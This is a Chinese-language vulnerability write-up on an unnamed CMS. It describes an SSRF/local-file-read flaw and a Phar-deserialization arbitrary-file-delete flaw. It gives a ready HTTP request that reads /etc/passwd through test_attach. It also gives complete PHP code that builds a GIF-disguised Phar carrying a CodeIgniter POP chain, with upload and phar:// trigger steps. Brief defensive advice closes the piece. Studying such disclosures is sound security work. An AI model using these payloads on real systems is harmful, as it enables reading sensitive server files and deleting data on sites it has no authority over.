某CMS反序列化任意文件删除漏洞分析与利用
漏洞概述
本文详细分析某CMS系统中存在的两个安全漏洞:SSRF(服务器端请求伪造)漏洞和通过Phar反序列化实现的任意文件删除漏洞。这两个漏洞都存在于该CMS的最新版本中,攻击者可以利用这些漏洞进行服务器端请求伪造和任意文件删除操作。
SSRF漏洞分析
漏洞位置
SSRF漏洞存在于/Fcms/Core/Helper.php文件中的dr_catcher_data函数。
漏洞代码
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
if (!$url) {
return '';
}
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
} elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
return file_get_contents(WEBPATH.$url);
} elseif (!dr_is_url($url)) {
if (CI_DEBUG && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
}
return '';
}
// 其他代码...
}
触发点
SSRF漏洞的触发点在/Fms/Control/Admin/Api.php的test_attach方法中:
public function test_attach() {
$data = \Phpcmf\Service::L('input')->post('data');
if (!$data) {
$this->_json(0, dr_lang('参数错误'));
}
// ...其他代码...
elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
$this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
}
}
漏洞原理
test_attach方法接收POST参数data,其中包含url字段- 该
url参数未经任何过滤直接传递给dr_catcher_data函数 dr_catcher_data函数支持多种协议处理,包括file://协议- 攻击者可以构造恶意URL,使服务器访问内部资源或服务
利用方式
攻击者可以构造如下请求:
POST /admina516ce184c2e.php?c=Api&m=test_attach HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
data[url]=file:///etc/passwd
这将导致服务器读取并返回/etc/passwd文件内容。
反序列化任意文件删除漏洞
漏洞位置
Phar反序列化漏洞点位于/Fms/Control/Admin/Api.php中的多个方法,包括:
test_attachtest_attach_domain
漏洞原理
PHP的Phar文件在解析时会自动反序列化其中存储的元数据(metadata)。当系统使用file_exists()、is_dir()等文件系统函数处理Phar文件时,会触发反序列化操作。
POP链构造
失败的第一条链
尝试使用CodeIgniter\Publisher\Publisher类:
namespace CodeIgniter\Publisher;
class Publisher {
public $scratch = "../1";
// 通过__destruct触发delete scratch
// 通过new对象触发__construct helper('filesystem')
}
namespace CodeIgniter\Cache\Handlers;
class MemcachedHandler {
public $prefix;
public function __construct() {
$this->prefix = new CodeIgniter\Publisher\Publisher();
}
}
失败原因:delete_files()函数不存在。
成功的第二条链
使用以下类构造POP链:
RedisHandler(触发点)MemcachedHandler(中间跳板)FileHandler(最终执行)
序列化代码:
namespace CodeIgniter\Cache\Handlers;
class FileHandler {
public $prefix;
public $path;
public function __construct() {
$this->prefix = '';
$this->path = '';
}
}
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler {
public $lockKey;
public $memcached;
public function __construct() {
$this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test";
$this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler();
}
}
namespace CodeIgniter\Cache\Handlers;
class RedisHandler {
public $redis;
public function __construct() {
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler();
}
}
$o = new RedisHandler();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
POP链执行流程
RedisHandler的__destruct()方法被调用- 调用
$this->redis->close(),其中$this->redis是MemcachedHandler对象 MemcachedHandler的close()方法调用$this->memcached->delete($this->lockKey)FileHandler的delete()方法执行unlink($this->path . $key)- 最终删除
$this->lockKey指定的文件
漏洞利用步骤
-
生成Phar文件:使用上述代码生成恶意Phar文件,修改后缀为允许上传的类型(如.txt)
-
上传Phar文件:通过CMS的文件上传功能上传该文件
- 上传点:
http://target.com/index.php?s=member&app=news&c=home&m=add
- 上传点:
-
获取上传路径:上传后系统会返回文件路径,如:
/uploadfile/202407/de5d2812b5ba390.txt -
触发反序列化:访问
test_attach_domain功能并构造phar协议路径http://target.com/admina516ce184c2e.php?c=Api&m=test_attach_domain在"附件上传目录"中输入:
phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt -
执行结果:系统会解析Phar文件并触发反序列化,最终删除指定文件
防御建议
-
SSRF防御:
- 在
dr_catcher_data函数中限制协议类型,禁止file://等危险协议 - 对输入URL进行严格校验,使用白名单机制
- 在
-
反序列化防御:
- 禁用Phar流包装器:
stream_wrapper_unregister('phar') - 在文件操作前检查文件是否为Phar文件
- 使用
ini_set('phar.readonly', '1')禁止Phar写入
- 禁用Phar流包装器:
-
通用防御:
- 对所有用户输入进行严格过滤和验证
- 实施最小权限原则,限制文件系统操作权限
- 定期更新系统和组件到最新版本
总结
本文详细分析了某CMS系统中存在的SSRF和Phar反序列化漏洞,展示了从漏洞发现到利用的完整过程。这两个漏洞都源于对用户输入的不当处理,强调了输入验证和安全编码的重要性。开发人员应引以为戒,在代码中实施严格的安全措施,防止此类漏洞的出现。